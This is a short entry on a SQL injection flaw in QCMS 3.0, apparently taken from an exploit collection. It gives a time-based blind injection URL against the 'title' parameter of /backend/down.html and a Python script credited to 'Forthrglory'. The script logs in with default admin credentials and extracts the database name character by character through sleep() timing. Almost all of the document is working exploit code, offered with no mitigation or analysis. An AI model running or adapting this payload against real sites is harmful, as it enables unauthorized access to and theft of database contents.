QCMS 3.0 sql注入漏洞¶

http://url/backend/down.html?title=1';select if(ascii(substr((select database()), 1, 1))-113, 1, sleep(5));%23

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# author: Forthrglory
import requests

def getCookie():
    url = 'http://127.0.0.1/admin.php'
    data = {
        'username':'admin',
        'password':'admin'
    }

    session = requests.session()
    res = session.post(url, data)

    return requests.utils.dict_from_cookiejar(res.cookies)

def getDatabase(url, arr, cookies):

    str = ''
    requests.session()

    for i in range(1, 11):
        for j in arr:
            data = url + '?title=1\';select if(ascii(substr((select database()), %s, 1))-%s, 1, sleep(5));%%23' % (i, ord(j))
            # print(data)
            res = requests.get(url=data, cookies=cookies)
            # print(res.elapsed.total_seconds())
            if(res.elapsed.total_seconds() > 5):
                str += j
                print(str)
                break
    print('database=' + str)


if __name__ == '__main__':
    url = 'http://127.0.0.1/backend/down.html'
    arr = []

    for i in range(48, 123):
        arr.append(chr(i))

    cookies = getCookie()
    print(cookies)
    getDatabase(url, arr, cookies)